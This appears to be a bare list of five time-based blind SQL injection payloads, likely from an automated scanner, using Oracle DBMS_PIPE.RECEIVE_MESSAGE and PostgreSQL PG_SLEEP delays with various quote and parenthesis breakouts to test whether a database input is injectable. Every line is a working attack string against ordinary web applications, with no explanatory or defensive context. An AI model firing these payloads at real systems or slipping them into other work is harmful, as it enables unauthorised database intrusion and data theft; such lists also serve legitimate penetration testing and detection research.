555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5552c3kpc7o')) OR 877=(SELECT 877 FROM PG_SLEEP(15))--
555dYw2xf4Q') OR 652=(SELECT 652 FROM PG_SLEEP(15))--
555rU7Gr7BK' OR 135=(SELECT 135 FROM PG_SLEEP(15))--
555-1)) OR 926=(SELECT 926 FROM PG_SLEEP(15))--